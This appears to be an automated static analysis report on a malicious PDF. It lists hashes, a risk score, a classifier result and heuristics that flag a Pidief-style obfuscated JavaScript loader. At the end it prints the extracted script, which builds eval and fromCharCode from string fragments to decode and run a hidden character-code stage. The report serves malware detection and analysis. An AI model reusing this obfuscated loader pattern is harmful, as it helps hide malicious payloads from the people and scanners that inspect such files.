Malicious PDF — malware analysis report

Static analysis result for SHA-256 561dc63de1795628…

MALICIOUS

PDF

44.4 KB Authoring application: substr First seen: 2012-06-14
MD5: 08f326a9361e9b337e6aab17b693c6a8 SHA-1: 538af2db7e3d090401ae244547ad38bafc8c8b44 SHA-256: 561dc63de1795628da316cd6f2ce70bf0e49a37a9c46076c54fa6c0dbb84f90b
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by heuristic firings and the presence of a javascript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload, although the specific actions are not fully discernible from the provided information. The document body 'substr split test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF34 433 bytes
SHA-256: 23f40264af44558b49e599efdbd58daa2c5a50519de1c15571b99d4c262019c8
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
vtcg=e('ti'.concat(v[4],t));
q=vtcg[v](a.length-6,a.length+2);
cpri=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=vtcg[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	wthkm = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(cpri(wthkm));
	i++;
}
e(s2);

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